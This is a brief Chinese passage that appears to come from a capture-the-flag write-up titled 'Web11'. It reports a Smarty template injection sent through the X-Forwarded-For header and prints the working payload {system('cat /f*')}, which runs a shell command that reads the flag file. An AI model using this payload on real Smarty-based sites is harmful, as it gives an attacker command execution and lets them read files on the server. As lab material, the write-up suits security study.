这里看到Smarty和X-Forwarded-For尝试用X-Forwarded-For执行命令
X-Forwarded-For: {system(‘cat /f*’)}成功得到flag
Web11
2026/1/30
LOADING
加载过慢请开启缓存 浏览器默认开启
